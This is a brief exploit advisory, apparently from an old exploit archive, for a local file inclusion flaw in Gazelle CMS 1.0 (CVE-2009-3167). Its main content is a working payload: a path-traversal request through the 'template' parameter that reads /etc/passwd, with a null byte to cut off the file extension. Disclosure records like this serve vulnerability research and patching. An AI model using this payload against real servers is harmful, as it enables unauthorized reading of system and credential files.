Gazelle CMS 1.0 - 'template' Local File Inclusion

Related Vulnerabilities: CVE-2009-3167  
Publish Date: 28 Jan 2009
Author: fuzion
                							

                Gazelle CMS Local File Inclusion
http://www.anantasoft.com/

/gazelle/?template=../../../../../../../../../../../../etc/passwd%00 (view source)

Author notified: Jan 20

http://nukeit.org

# milw0rm.com [2009-01-28]